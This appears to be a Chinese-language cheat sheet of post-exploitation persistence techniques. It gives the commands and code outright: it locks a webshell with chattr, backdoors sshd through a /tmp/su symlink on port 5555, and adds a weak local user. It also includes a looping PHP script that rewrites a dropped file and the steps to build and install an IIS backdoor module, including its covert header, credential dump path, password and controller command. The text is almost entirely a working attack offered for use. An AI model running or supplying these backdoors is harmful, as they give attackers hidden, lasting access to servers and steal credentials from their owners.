chattr +i webshell.php
lsattr webshell.php
chattr -i webshell.php
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
useradd test -p test
访问该php文件,会生成一个木马文件用于连接
<?php
ignore_user_abort();
set_time_limit(0);
$interval = 5;
do {
$filename = 'test.php';
if(file_exists($filename)) {
echo "xxx";
}
else {
$file = fopen("test.php", "w");
$txt = "<?php phpinfo();?>\n";
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
} while (true);
?>
https://github.com/ygwlgGiao/iis-raid-backdoor
使用vs2019进行编译,functions.h可修改配置信息
functions.h
#define COM_HEADER "X-Chrome-Variations" 传输指令和接收数据的头部字段
#define PASS_FILE "C:\\Windows\\Temp\\creds.db" 保存到web请求服务端的位置
#define PASSWORD "SIMPLEPASS" 传输密码
生成后把IIS-Backdoor.dll放到c盘目录下,放置其他目录下面语句要进行适当的更改
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:iisModule /image:"c:\IIS-Backdoor.dll" /add:true
python iis_controller.py --url http://x.x.x.x --password SIMPLEPASS
查看iis管理器模块,可发现新增的内容